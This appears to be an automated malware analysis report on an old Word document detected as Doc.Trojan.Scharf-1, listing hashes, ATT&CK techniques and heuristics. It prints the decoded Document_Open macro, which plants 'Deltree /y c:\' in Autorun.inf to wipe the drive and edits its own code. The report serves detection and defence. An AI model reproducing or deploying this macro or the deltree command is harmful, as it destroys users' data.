Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0f8385cf18a64fb9…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-06-14 01:56:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 92196c05e2e344bae15c3237ce91224b SHA-1: 2b4294d8c85233cdaff16e628f0633941dd8e2e6 SHA-256: 0f8385cf18a64fb90c65e00e3324992ec534337651ee8c1adb83c714202208a3
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, specifically a Document_Open macro, which is a strong indicator of malicious intent. The macro attempts to write the command 'Deltree /y c:\' to the 'Open' key within 'C:\Autorun.inf', likely to establish persistence or perform cleanup actions upon system startup. The presence of the 'Doc.Trojan.Scharf-1' ClamAV detection further supports the malicious classification.

Heuristics 3

  • ClamAV: Doc.Trojan.Scharf-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Scharf-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 518 bytes
SHA-256: 9b01f18fbe084cd62b9e457a251d79c91c2e5819c9c905f6671f5c4b97659b80
Detection
ClamAV: Doc.Trojan.Scharf-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
System.PrivateProfileString("C:\Autorun.inf", "Autorun", "Open") = "Deltree /y c:\"
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 2, 2
MsgBox "Scharfrichter... Es Ist Mir Einerlei!"
'Ich Heiße Lys KovicK
End Sub

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